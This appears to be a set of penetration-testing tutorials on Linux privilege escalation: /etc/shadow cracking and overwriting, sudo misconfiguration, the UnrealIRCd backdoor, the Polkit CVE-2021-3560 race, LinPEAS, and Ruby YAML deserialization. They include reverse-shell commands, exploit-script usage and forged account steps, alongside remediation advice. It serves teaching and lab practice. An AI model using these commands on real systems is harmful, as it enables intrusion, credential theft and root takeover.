[Privilege Escalation] Weak File Permissions – /etc/shadow

The /etc/shadow file is a crucial component in Unix-based operating systems, such as Linux. It stores encrypted user passwords and related information, providing an additional layer of security by restricting access to sensitive authentication data.

In this file, user passwords are not stored in plain text. Instead, they are encrypted using various hashing algorithms, with the most common being the SHA-512 (Secure Hash Algorithm) or MD5 (Message Digest Algorithm 5) encryption methods. These algorithms create a hashed version of the passwords, making it computationally challenging to reverse the process and obtain the original password.

Common hash types in /etc/shadow:

  • MD5: Typically begins with $1$
  • SHA-256: Often starts with $5$
  • SHA-512: Generally starts with $6$

However, despite the encryption, the /etc/shadow file is a prime target for attackers. If unauthorized individuals gain access to this file, they might use various methods (like brute-force attacks or exploiting vulnerabilities) to crack the hashed passwords, gaining entry to user accounts.

This is how /etc/shadow permissions show look like, only root user can modify it, and other users that belong to the shadow group can read it

  • ls -l /etc/shadow

The /etc/shadow file in Unix-based operating systems contains sensitive information related to user accounts. Each line in the file represents a single user, and these lines consist of several fields or columns, separated by colons. Here's a breakdown of the columns in the /etc/shadow file:

kali:$y$j9T$7X9YlJ7c4u44URQvzTxxT0$BisyVCLhoPfP22Svis.MdkL02jMCFEJgT7yJIRCHp3G/:19426:0:99999:7:::

  • Username: This column contains the username or login name of the user.
  • Password: In modern systems, the password field typically doesn't contain the actual password. Instead, it stores a hashed version of the password. The hashed password is not reversible, meaning it can't be converted back to the original password. Instead, during login, the system hashes the entered password and compares it with the stored hashed value to authenticate the user.
  • Last Password Change (in Days): This field records the number of days since the password was last changed. It helps in password expiration policies or identifying when the password was last updated.
  • Minimum Password Age: This column signifies the minimum number of days a user must wait before changing their password. It's a part of password policy management.
  • Maximum Password Age: This column indicates the maximum number of days a user can keep a password before being required to change it. This field also contributes to password policy management.
  • Password Warning Period: This field typically provides a warning to the user that their password is about to expire within a certain number of days.
  • Password Inactivity Period: If a password remains unused for a specified period, it may be disabled or locked. This field defines the period of inactivity before such action is taken
  • Account Expiration Date: This column specifies the date when the account will expire or be disabled. After this date, the user may not be able to log in without administrative intervention.
  • Reserved: This field is often reserved for future use or system-specific settings.

Identification

1. The easiest way is to run “ls” command

  • ls -l /etc/shadow
  • id

In this particular case, we notice out user is not part of the shadow group, but we noticed the /etc/shadow file has READ,WRITE permissions for other users, this means we have permissions to modify this file.

2. Using LinPEAS.sh you can also find clues about this vulnerability being present. (https://github.com/carlospolop/PEASS-ng/tree/master)

  • ./LinPEAS.sh

Exploiting /etc/shadow READ permission

1. Having the ability to read /etc/shadow, we can copy the contents of it, and then, crack the hashes using john

  • cat /etc/shadow

2. Copy the contents of it into your own machine, or use any type of file transfer method you prefer, I’ll create a file named shadow

  • vi shadow

3. Now, use john against this file to try to crack the passwords, you can also specify the type of hash using --format=<hash type> argument

  • john --wordlist=/usr/share/wordlists/rockyou.txt shadow
  • john --wordlist=/usr/share/wordlists/rockyou.txt shadow --format=sha512crypt

4. We got the password (password321) of user (user)

5. We can also take just one line for one single user, and, crack it, in case the whole file doesn’t provide enough passwords

  • john --wordlist=/usr/share/wordlists/rockyou.txt shadow

6. Also, we can retrieve previous cracked passwords by using --show parameter, having the root password we can log in as this user

  • john --show shadow

Exploiting /etc/shadow WRITE permission

1. Having the ability to modify the /etc/shadow file, we can generate our own password hash and replace the password field of an existing user, we can modify the root user password, use any accepted hashing algorithm

  • mkpasswd -m sha-512 newpassword

2. Create a backup of the /etc/shadow file

  • cp /etc/shadow shadow.bak
  • ls

3. Copy the output hash, and, replace the root hash with our new hash

Before

After

4. Now we can log in as root

  • ssh root@10.10.150.52

Extra

1. You can also use sed command to create a whole new line, to copy & paste

  • sed 's/^root:[^:]*:/root:<hash>:/g' /etc/shadow | grep <user>
  • sed 's/^root:[^:]*:/root:$6$kIW2RPXnEttDUn1y$7VCgKvZGaJhS06zJZfWbcGbybqDaynTQMnpZjFjrFcLy9KJ\/97pxQXM5ASSssIUV\/Vydx8QSWJkUPH0tvqoVH\/:/g' /etc/shadow | grep root

Recommendations

To secure the /etc/shadow file and the passwords within:

  • Restrict File Access: Limit access to this file to only privileged users. Regular users should not have permission to view or modify it.
  • Use Strong Passwords: Encourage users to create strong, complex passwords that are less susceptible to brute-force attacks.
  • Encryption Algorithm: Consider using more secure encryption algorithms (such as SHA-512 over MD5) for password hashing.
  • Monitor File Changes: Implement monitoring tools that can alert administrators about any changes made to the /etc/shadow file.
  • Access Controls and Logging: Set up access controls and robust logging mechanisms to track and monitor any access or modifications to the file.

[Privilege Escalation] SUDO rights to all the commands on the host

A misconfiguration in /etc/sudoers allows members of group sudo to execute any command

Identification

1. Running the following command give us a hint

  • sudo -l

2. In the /etc/sudoers, the configuration should show like this

  • cat /etc/sudoers

3. We can also make sure our user is part of this group

  • id

Exploitation

1. Knowing the sudoers file allows all members of sudo group to execute any command with privilege rights, and making sure our user is part of this group, we can go ahead, and run for example bash as root

  • sudo bash

Note: If (NOPASSWD) is specified within the configuration, then no need to use the user’s password.

Remedy

Configure properly permissions to users that require, apply least privilege principles to each user that requires higher privileges.

(CVE-2010-2075)[Command Execution] UnrealIRCD 3.2.8.1 Backdoor

UnrealIRCd contains a backdoor in the DEBUG3_DOLOG_SYSTEM macro. Various mirror sites hosting Unreal3.2.8.1.tar.gz with the 752e46f2d873c1679fa99de3f52a274d Md5 checksum since November 2009 have been compromised. A remote attacker could exploit this vulnerability to execute arbitrary commands with privileges of the application. CVE-2010-2075

UnrealIRCd, an open-source Internet Relay Chat (IRC) server, typically uses a few specific ports for its operation. Here are the commonly used ports by UnrealIRCd:

  • Port 6667: This is the default port for IRC servers. It is used for plaintext, unencrypted IRC communication. Clients can connect to the IRC server using this port to join chat rooms and interact with other users.
  • Port 6697: This port is commonly used for secure IRC communication over SSL/TLS. It provides an encrypted connection between the IRC server and clients, ensuring data confidentiality and integrity.
  • Port 7000: Often used for IRC over SSL/TLS (encrypted communication) as an alternative to port 6697. Some IRC networks or services may choose to use this port instead

Affected Products

UnrealIRCd UnrealIRCd 3.2.8.1

Identification

1. First step would be to identify the open ports in the server

  • nmap -p- -T 5 10.10.10.117 --max-retries 1

2. Now identify the version of the application, you can connect to the UnrealIRC port (6667, 6697, 7000), based on https://www.rfc-editor.org/rfc/rfc1459 , you can connect to the server using telnet, or netcat.

  • telnet 10.10.10.117 6697
  • (OPTIONAL) netcat 10.10.10.117 6697

3. We can authenticate and connect to the server to find out the version

  • PASS vry4n
  • NICK vry4n
  • USER vry4n atVK9 Security :vry4n

Note: the version is 3.2.8.1

Version enumeration using nmap

1. Run the /usr/share/nmap/scripts/irc-info.nse script against the UnrealIRC port

  • nmap -p 6667 -sV 192.168.142.128 --script=irc-info

Exploiting using Nmap (irc-unrealircd-backdoor.nse)

1. Nmap has a script that exploits this vulnerability, once we have confirmed the server has the vulnerable version we can, start a netcat listener on our local machine

  • nc -lvp 4444

2. Now proceed to run the following command, feel free to modify the command injection as you please (--script-args=irc-unrealircd-backdoor.command='')

  • nmap -d -p6697 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='bash -c "bash -i >& /dev/tcp/10.10.14.9/4444 0>&1"' 10.10.10.117

3. After a while check the listener

Exploitation using a Script

1. We can try to exploit this vulnerability using the script (https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/tree/master)

  • git clone https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor.git
  • ls
  • cd UnrealIRCd-3.2.8.1-Backdoor
  • ls

2. Display the options

  • python3 exploit.py -h

3. Edit the source code, and add the local_ip & local_port

  • local_ip = '10.10.14.9'
  • local_port = '7777'

4. Start a listener

  • nc -lvp 7777

5. After editing the source code, run the application

  • python3 exploit.py -payload bash 10.10.10.117 6697

6. Check the listener

Note: A reverse connection should be started.

Exploitation using Metasploit (unreal_ircd_3281_backdoor)

1. This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.

  • use exploit/unix/irc/unreal_ircd_3281_backdoor
  • show options

2. Set the remote host and optionally set the remote port

  • set RHOSTS 192.168.142.128
  • (OPTIONAL) set RPORT 6697

3. Show the payload options and use one of them

  • show options
  • set payload payload/cmd/unix/reverse_ruby

4. Set the local IP and port, then start the exploit

  • set LHOST 192.168.142.129
  • (OPTIONAL) set LPORT 7777
  • exploit

Remedy

The best recommendation will be to upgrade to the latest version released by the vendor. Refer to unrealsecadvisory 20100612 for patch, upgrade or suggested workaround information. Re-download the software, verify it using the published MD5 / SHA1 checksums, and re-install it.

You can check by running 'md5sum Unreal3.2.8.1.tar.gz', it should

output: 7b741e94e867c0a7370553fd01506c66 Unreal3.2.8.1.tar.gz

For reference, here are the md5sums for ALL proper files:

7b741e94e867c0a7370553fd01506c66 Unreal3.2.8.1.tar.gz

5a6941385cd04f19d9f4241e5c912d18 Unreal3.2.8.1.exe

a54eafa6861b6219f4f28451450cdbd3 Unreal3.2.8.1-SSL.exe

Source

https://exchange.xforce.ibmcloud.com/vulnerabilities/59414

https://www.exploit-db.com/exploits/13853

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2075

https://seclists.org/fulldisclosure/2010/Jun/277

https://seclists.org/fulldisclosure/2010/Jun/284

https://security.gentoo.org/glsa/201006-21

https://www.openwall.com/lists/oss-security/2010/06/14/11

https://www.cvedetails.com/cve/CVE-2010-2075/?q=CVE-2010-2075

https://www.cve.org/CVERecord?id=CVE-2010-2075

https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/tree/master

 

(CVE-2021-3560)[Local Privilege Escalation] Polkit 0.105-26 0.117-2

CVE-2021-3560 has emerged as a significant concern for Linux-based systems. This security flaw, also known as the "Polkit" vulnerability, allows local attackers to gain root privileges, potentially leading to complete compromise of the affected system. In this article, we will delve into the details of CVE-2021-3560, its impact, and recommended measures to mitigate the risk.

What is Polkit

Polkit, also known as PolicyKit, is a framework used in Linux systems for defining and managing policies related to system privileges and access control. It provides a way to control permissions for various actions and resources, allowing non-root users to perform administrative tasks without granting them full superuser (root) privileges.

The primary purpose of Polkit is to facilitate fine-grained authorization decisions based on defined policies. It allows system administrators to specify rules and conditions for granting or denying access to privileged operations, such as system configuration changes, device management, or software installation.

Here's a high-level overview of how Polkit works:

  • Policy Definitions: Polkit relies on policy definitions that specify the desired authorization rules. These policies are usually defined in XML files located in the /etc/polkit-1/ directory. The policies describe the actions, authentication requirements, and associated privileges.
  • Authentication Agents: When a user requests an action that requires elevated privileges, such as modifying system settings, a Polkit-aware application or process checks the policy associated with that action. If the policy allows the user to perform the action, an authentication agent is invoked.
  • Authentication Dialog: The authentication agent presents an authentication dialog to the user, prompting for credentials, such as a password or biometric authentication. The dialog can vary depending on the desktop environment or the specific application invoking Polkit.
  • Authorization Check: The entered credentials are verified against the authentication requirements specified in the policy. If the credentials are valid and meet the criteria, Polkit grants the user temporary authorization to perform the requested action with elevated privileges.
  • Action Execution: With the temporary authorization, the requesting application or process can proceed to execute the action with the necessary privileges. Once the action is completed or the authorization expires, the elevated privileges are revoked.

What is dbus

dbus is a message system for applications to talk to one another (known as IPC or interprocess communication). This was developed as part of the freedesktop.org project. A basic dbus command to list system services looks like this:

  • dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames

dbus stores service files in /usr/share/dbus-1/system-services

  • cd /usr/share/dbus-1/system-services
  • ls -la

Accounts. service which triggers accounts-daemon to perform user addition/modification options.

  • cat org.freedesktop.Accounts.service

Using this service file to add an user

  • dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:vry4n string:"vry4n user" int32:1

--system: sends message to the system bus

--dest: name of the connection (interface) that receives the message

--type: method_call means a system function with arguments being passed

--print-reply: prints the output in human-readable format

/org/freedesktop/Accounts: This is the function that will be used

org.freedesktop.Accounts.CreateUser: Method that will be used. Here, create user method is used which will essentially create a new user with the name specified in string 1. String 2 is the name (“ignite user”) that will be visible in the system. int32 is an integer argument the method takes in that specifies the type of account encoded as an integer.

Overview of CVE-2021-3560:

CVE-2021-3560 is a privilege escalation vulnerability that affects the Polkit system service, which provides an authorization framework for granting privileges in Linux distributions. Polkit, also known as PolicyKit, is commonly used to handle authorization decisions, allowing non-root users to perform certain administrative tasks with the appropriate permissions.

The vulnerability resides in the Polkit's handling of authentication credentials. A flaw in the implementation allows a local attacker with a low-privileged account to bypass the authentication process and execute arbitrary commands with elevated privileges. This could result in unauthorized access, data compromise, and potential system-wide impact.

The exact vulnerable piece of code in the provided Polkit code is located in the on_response function. Here are the lines that introduce the vulnerability:

The vulnerability lies in the polkit_agent_listener_handle_response function, which processes the response received from the Polkit authentication agent. The flaw allows an authenticated user to bypass the authentication process and execute arbitrary commands with elevated privileges.

By manipulating the response or injecting a malicious response, an attacker can exploit the race condition within the authentication process and gain unauthorized root access.

Affected Systems:

The vulnerability affects various Linux distributions that utilize Polkit versions before 0.119. This includes popular distributions like Ubuntu, Debian, Fedora, CentOS, and their derivatives. It is crucial for administrators and users of these distributions to promptly address the vulnerability to prevent potential exploitation.

polkit 0.105-26 0.117-2

polkit polkit 0.113

polkit polkit 0.118

Red Hat Enterprise Linux 8

Fedora 21 (or later)

Debian Testing (“Bullseye”)

Ubuntu 20.04 LTS (“Focal Fossa”)

Identification

1. In order to identify the version of the PolicyKit (polkit) we can run the following commands

RHEL

  • rpm -qa | grep -i polkit
  • rpm -qa | grep -i policykit

Debian

  • apt list --installed | grep -i policykit
  • apt list --installed | grep -I polkit

(Optional) 2. Check these 2 services are available

  • rpm -qa | grep -i accountsservice
  • rpm -qa | grep -i gnome-control-center

Exploitation Scenario

To exploit CVE-2021-3560, an attacker must have a local account on the targeted Linux system. By leveraging a race condition in the Polkit's authentication mechanism, an attacker can trick the system into granting privileged access. This is achieved by simultaneously requesting an authentication action and replacing it with a different, unauthorized action before the authentication process completes.

Upon successful exploitation, the attacker can execute commands with elevated privileges, essentially gaining root access to the system. This level of control opens the door for further malicious activities, such as installing malware, modifying system configurations, exfiltrating sensitive data, or launching additional attacks within the compromised environment.

1. For the exploit to work, we need to kill the command while it is being executed. For this we need to check the time it takes to execute this command.

  • time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:vry4n string:"vry4n user" int32:1

2. As you can see, it takes me 0.059 seconds to execute this command. So, I need to kill my payload before 0.059 seconds for it to work. (Run it many times, it usually doesn’t work at first, it took me like 14 times, confirm by running “cat /etc/passwd”

  • dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:vry4n string:"vry4n user" int32:1 & sleep 0.0035s ; kill $!
  • cat /etc/passwd | tail -n 5

Note: The User Vry4n has been added

3. Next, we need to supply the password using dbus so that we can use this newly created user. We need to generate a hashed password as dbus-send takes in hashed password as input.

  • openssl passwd -5 vry4n@123
  • Result: $5$kQUWJ.fDBUvxYaRy$XJoPnNSwyteh.YXstbXAV1l79lttePHafkIBR/KFEd9

4. Now we need to pass this hash in User.SetPassword function using dbus under a string parameter. The payload looks like, (also run this command multiple times until success), User1005 means the user ID which needs to match what is in /etc/passwd

  • dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1005 org.freedesktop.Accounts.User.SetPassword string:' $5$kQUWJ.fDBUvxYaRy$XJoPnNSwyteh.YXstbXAV1l79lttePHafkIBR/KFEd9' string:BestHackingTutorials & sleep 0.0035s ; kill $!

5. Once the User add & the Password change commands succeed, one after the other, we can proceed to log in Username: Vry4n & Password: 123456

  • su vry4n
  • Password: 123456
  • sudo su
  • Password:123456
  • id
  • whoami

#1 - Exploitation using a Script

1. This is a script that automates this task, first of all let’s download it, start a web server to transfer it to the target machine

  • git clone https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation.git
  • cd CVE-2021-3560-Polkit-Privilege-Esclation
  • ls
  • python3 -m http.server 9999

2. Now, transfer the file into the target machine, and run it ([!] If the username is inserted, but the login fails; try running the exploit again.)

  • bash poc.sh
  • Credentials: secnigma: secnigmaftw

#2 Exploitation using a Script

1. In this example we are going to test, https://www.exploit-db.com/exploits/50011, This is another bash script that can be used as an alternative. Transfer the file into the target machine and run it. (if username added to /etc/passwd and the password doesn’t work, run it several times until it succeeds)

  • vi exploit.sh
  • bash exploit.sh

2. Now try to switch to that user (hacked:password)

  • su hacked
  • Password: password
  • sudo su -
  • Password: password
  • whoami
  • id

#3 Exploitation using a Script

1. We can try this other alternative written in python (https://github.com/UNICORDev/exploit-CVE-2021-3560), so download it in your local machine, then start a web server to deploy it into the target machine

  • git clone https://github.com/UNICORDev/exploit-CVE-2021-3560.git
  • cd exploit-CVE-2021-3560
  • ls
  • python3 -m http.server 9999

2. Download the file from our web server, then, run the application

  • wget http://10.10.14.8:9999/exploit-CVE-2021-3560.py
  • python3 exploit-CVE-2021-3560.py

3. After successful execution, elevate the privileges(Username: unicord & Password: unicord), if it doesn’t work the first time, run it several times. Verify the user has been added by reading /etc/passwd file

  • su unicord
  • Password: unicord
  • sudo su
  • Password: unicord
  • whoami
  • id

Mitigation and Remediation:

Linux system administrators and users are strongly advised to take the following actions to mitigate the risks associated with CVE-2021-3560:

Update Polkit: Apply the latest security patches and updates provided by the respective Linux distribution. These updates typically include the patched version of Polkit, addressing the vulnerability. Keeping the system up to date is essential for maintaining a secure environment.

Monitor Security Advisories: Stay informed about security advisories and notifications from the Linux distribution's official channels. This ensures timely awareness of vulnerabilities and recommended remediation steps.

Restrict Privileges: Implement the principle of least privilege (PoLP) by limiting user privileges to only those necessary for their tasks. Minimizing the number of accounts with administrative privileges can significantly reduce the potential impact of privilege escalation vulnerabilities.

Security Audits: Conduct regular security audits and vulnerability assessments to identify potential weaknesses and ensure that systems are adequately protected. Tools like LinPEAS.sh, which performs comprehensive scans for privilege escalation vulnerabilities, can be useful in this regard.

Sources

https://packetstormsecurity.com/files/163142

https://www.exploit-db.com/exploits/50011

https://exchange.xforce.ibmcloud.com/vulnerabilities/202979

https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation

https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

https://kaarb0.medium.com/exploitation-of-cve-2021-3560-cecfdf250397

https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/

https://cgit.freedesktop.org/accountsservice/tree/data/org.freedesktop.Accounts.xml

https://github.com/UNICORDev/exploit-CVE-2021-3560

https://thesecmaster.com/step-by-step-procedure-to-fix-the-plokit-vulnerability-cve-2021-3560/

https://access.redhat.com/security/cve/CVE-2021-3560

https://security-tracker.debian.org/tracker/CVE-2021-3560

https://ubuntu.com/security/CVE-2021-3560

https://bugzilla.redhat.com/show_bug.cgi?id=1967424

 

Enumerate Linux using LinPEAS.sh

LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts.

LinPEAS.sh is a script used for privilege escalation and enumeration on Linux systems. It is part of the LinEnum project, which is a collection of scripts and tools designed to assist in the discovery and exploitation of Linux vulnerabilities and weaknesses.

LinPEAS.sh, specifically, focuses on identifying misconfigurations, insecure settings, and other potential security issues that could lead to privilege escalation. It scans the system for various indicators and gathers information about the operating system, running processes, network connections, installed software, file permissions, and more.

The script performs a comprehensive analysis of the system, looking for common security weaknesses such as world-writable files, misconfigured cron jobs, weak file permissions, unquoted service paths, and other potential vulnerabilities that can be exploited by an attacker.

By running LinPEAS.sh, system administrators and security professionals can quickly identify potential security risks and take appropriate actions to mitigate them. It is a useful tool for both offensive security assessments and defensive security measures.

It's worth noting that LinPEAS.sh should only be used on systems that you have permission to test or analyze. Running it on unauthorized systems or without proper authorization may be illegal and violate the system owner's privacy and security rights. Always ensure you have proper authorization and follow ethical guidelines when using such tools.

How to use

1. Download the Script (https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)

  • curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh > LinPEAS.sh

2. Send the file into the server, prepare a web server for the transfer

  • python3 -m http.server 9999

3. Download from the remote machine

  • wget http://10.10.14.8:9999/LinPEAS.sh

4. Run the application

  • bash LinPEAS.sh

Sources

https://github.com/carlospolop/PEASS-ng/releases/tag/20220612

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

 

Ruby – Insecure Deserialization – YAML (Privilege Escalation – Code Execution)

Understanding Insecure Deserialization

Deserialization is the process of transforming serialized data, such as YAML or JSON, back into its original form. Insecure deserialization occurs when untrusted data is deserialized without proper validation, leading to potential security risks. Attackers can exploit this vulnerability to execute arbitrary code, bypass authentication, or perform other malicious activities.

YAML in Ruby:

Ruby, a popular programming language known for its simplicity and flexibility, provides built-in support for YAML parsing. YAML (YAML Ain't Markup Language) is a human-readable data serialization format commonly used for configuration files and data exchange. However, YAML's ease of use can inadvertently introduce security vulnerabilities if not handled correctly.

Risks of Insecure Deserialization:

Insecure deserialization in Ruby's YAML parser can have severe consequences. Attackers may manipulate serialized data to exploit vulnerable code paths, leading to remote code execution or denial of service attacks. It's crucial to understand the potential risks and adopt preventive measures.

The pre-requisites are as follows:

  1. The ActiveSupport gem must be installed and loaded.
  2. ERB from the standard library must be loaded (which Ruby does not load by default).
  3. After deserialization, a method that does not exist must be called on the deserialized object.

While these pre-requisites will almost certainly be fulfilled in the context of any Ruby on Rails web application, they are rarely fulfilled by other Ruby applications.

Yaml.load

Vulnerable code

Universal gadget for ruby <= 2.7.2:

Universal gadget for ruby 2.x - 3.x.

Yaml.load(File_read())

Identification

1. In this case we have an application that reads/runs “dependencies.yml”, it uses Yaml.load(File_read()) to load the file. This Ruby script was found to run as sudo without password, it also doesn’t specify the specify path for the file

  • sudo -l

2. If we read the file “update_dependencies.rb”, we will find yaml.load in the script, and it uses the function File_read()

  • cat /opt/update_dependencies.rb

3. Verify the ruby version

  • ruby -v

3. Now, its time to read “dependencies.yml

  • cat dependencies.yml

Exploitation

1. Now that we know the version of ruby we can apply the right syntax (Universal gadget for ruby 2.x - 3.x) in our case as ruby version is 2.7.4, we will create a file in /tmp , name it as “dependencies.yml”, and inject the Linux command “id”

  • cd /tmp
  • vi dependencies.yml
  • cat dependencies.yml

2. Run the command, we’ll notice the output of the “id” Linux command

  • sudo /usr/bin/ruby /opt/update_dependencies.rb

3. Knowing we can execute commands, we can try to elevate our privileges, in this case I will start a listener in my local machine, and run a ruby reverse shell to communicate on port 5555

Listener local machine

  • nc -lvp 5555

YAML payload in the remote machine

  • vi dependencies.yml
  • cat dependencies.yml
  • ADD: git_set: ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.8",5555))'

4. Check the listener, you should have a reverse shell with privilege rights

Best Practices to Mitigate Insecure Deserialization:

To mitigate insecure deserialization vulnerabilities in Ruby YAML, developers should follow these best practices:

a. Validate Input: Implement strict input validation to ensure that only trusted data is deserialized.

b. Use Safe Loading: Enable safe loading mode during YAML parsing to restrict object creation to basic types, reducing the risk of code execution.

c. Employ Whitelisting: Restrict allowed classes during deserialization to prevent the creation of potentially dangerous objects.

d. Sanitize User Input: Treat user input as untrusted and sanitize it thoroughly before deserialization.

e. Regular Updates: Keep the Ruby interpreter, YAML library, and dependencies up to date to benefit from security patches and bug fixes.

Sources

https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html

https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/ruby-privilege-escalation/

Portswigger - Insecure Deserialization

https://www.elttam.com/blog/ruby-deserialization/

http://phrack.org/issues/69/12.html

https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/